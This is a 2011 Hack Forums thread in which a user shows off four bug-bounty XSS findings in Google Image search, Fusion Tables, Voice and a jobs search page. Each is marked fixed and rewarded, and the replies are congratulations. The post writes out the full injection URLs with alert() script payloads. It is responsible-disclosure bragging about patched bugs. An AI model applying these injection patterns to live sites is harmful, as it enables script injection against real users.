+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [4 XSS] Google + Hall of Fame + $3000 [UPDATED 06/02/12] (/showthread.php?tid=2012639)
[4 XSS] Google + Hall of Fame + $3000 [UPDATED 06/02/12] - elvinguitar - Dec 14, 2011
Google Image XSS
Screenshot:
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GoogleXSS.jpg[/IMG]
Link:
Code
www.google.com/search?q=google&hl=en&gbv=2&biw=1024&bih=664&noj=1&tbs=isz:ex,iszw:"><script>alert("XSS by elvin") ;</script>,iszh:"><script>alert("XSS by elvin") ;</script>&tbm=isch&source=lnt&sa=X&ei=9NSxTpLhEIGaiQfDrsDLAg&ved=0CBIQpwUoBQStatus: Fixed
Reward: $500
Spoiler (Click to View)
Google Fusion Table XSS
Screenshot:
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GoogleFusionTableXSS.jpg[/IMG]
Link:
Code
www.google.com/fusiontables/DataSource?dsrcid=2257355"><script>alert("XSS by elvinguitar") ;</script>Status: Fixed
Reward: $1000
Spoiler (Click to View)
Google Voice XSS
Screenshot:
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GoogleVoice1.jpg[/IMG]
Link:
Code
https://www.google.com/voice/rates?p=%27%29;alert%28%22XSS%20by%20elvinguitar%22%29%20;%3C/script%3EStatus: Fixed
Reward: $1000
Spoiler (Click to View)
Google Search XSS
Screenshot:
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/ph.jpg[/IMG]
Link:
Code
http://www.google.com.ph/support/jobs/bin/search.py?ctx=en%3Asearchbox&query=%3C%00script%3E%3Cscript%3Ealert%28%22XSS%20by%20elvinguitar%22%29%3C/script%3EStatus: Fixed
Reward: $500
Spoiler (Click to View)
I just want to show my achievements that's why this thread was created. No flaming. 🙂
Sorry for the very late upload in Google Search XSS. Hehe. ✌
* - The Ion - Dec 14, 2011
awesome dude keep it up and enjoy the money
* - Kompleet - Dec 14, 2011
Holy crap, you're rich. xD
Anyways, nice finds! Congrats.
* - ~!White!~ - Dec 14, 2011
Good job with the Xss im on the hall of fame to :) i'm getting $3,000 from Google in total
* - Mr.Cube - Dec 14, 2011
Are you shitting me your a damn god never seen anyone find 2 exploits before!:)
* - elvinguitar - Dec 14, 2011
(Dec 14, 2011 09:22 PM)connection terminated Wrote: awesome dude keep it up and enjoy the money
thanks mate! 🙂 Belmin Vehabovic (~!White!~) has more Google XSS than me. I'm sure he has earned a lot. By the way, I still have one XSS and google security team is now fixing it. 🙂
* - The Ion - Dec 14, 2011
(Dec 14, 2011 09:24 PM)elvinguitar Wrote: thanks mate! 🙂 Belmin Vehabovic (~!White!~) has more Google XSS than me. I'm sure he has earned a lot. By the way, I still have one XSS and google security team is now fixing it. 🙂
very nice then enjoy your day and fame
* - elvinguitar - Dec 14, 2011
(Dec 14, 2011 09:23 PM)~!White!~ Wrote: Good job with the Xss im on the hall of fame to :) i'm getting $3,000 from Google in total
I know you'll earn more than me mate! 🙂 By the way, I'm always looking at your twitter page and I'm always want to keep updated of the xss you've found.
* - 1n54n3 - Dec 15, 2011
Awesome find and rewards mate.
Im Jelly !
* - EIP - Dec 15, 2011
(Dec 14, 2011 09:25 PM)elvinguitar Wrote: I know you'll earn more than me mate! 🙂 By the way, I'm always looking at your twitter page and I'm always want to keep updated of the xss you've found.
Ah great... !!!
This is why hacker are problem solver. And defacer are lam lol.
* - elvinguitar - Dec 15, 2011
(Dec 15, 2011 01:05 AM)1n54n3 Wrote: Awesome find and rewards mate.
Im Jelly !
Thanks you mate. 🙂 maybe you're jelly at this point in time. but if you will now start looking for xss, maybe you'll earn more than me. 😉
(Dec 15, 2011 01:10 AM)EIP Wrote: Ah great... !!!
This is why hacker are problem solver. And defacer are lam lol.
Honestly, i'm quite jelly to ~!White!~ because he always find xss on big companies. and every time he tweeted a new xss, i have this in mind "I needed to work hard and find one also." 😁
* - adampelletgun - Dec 15, 2011
Wow nice finds man i hope i find big ones like this :D
Keep it up :)
* - Research - Dec 15, 2011
nice work buddy ;) good luck with your next finding :)
* - elvinguitar - Dec 15, 2011
thanks to both of you guys. 🙂 as of now, it's really difficult to find new xss in google. But wish me luck. ;)
* - Techie - Dec 15, 2011
Nice work.
Some told me that the main search is not vulnerable. 🤫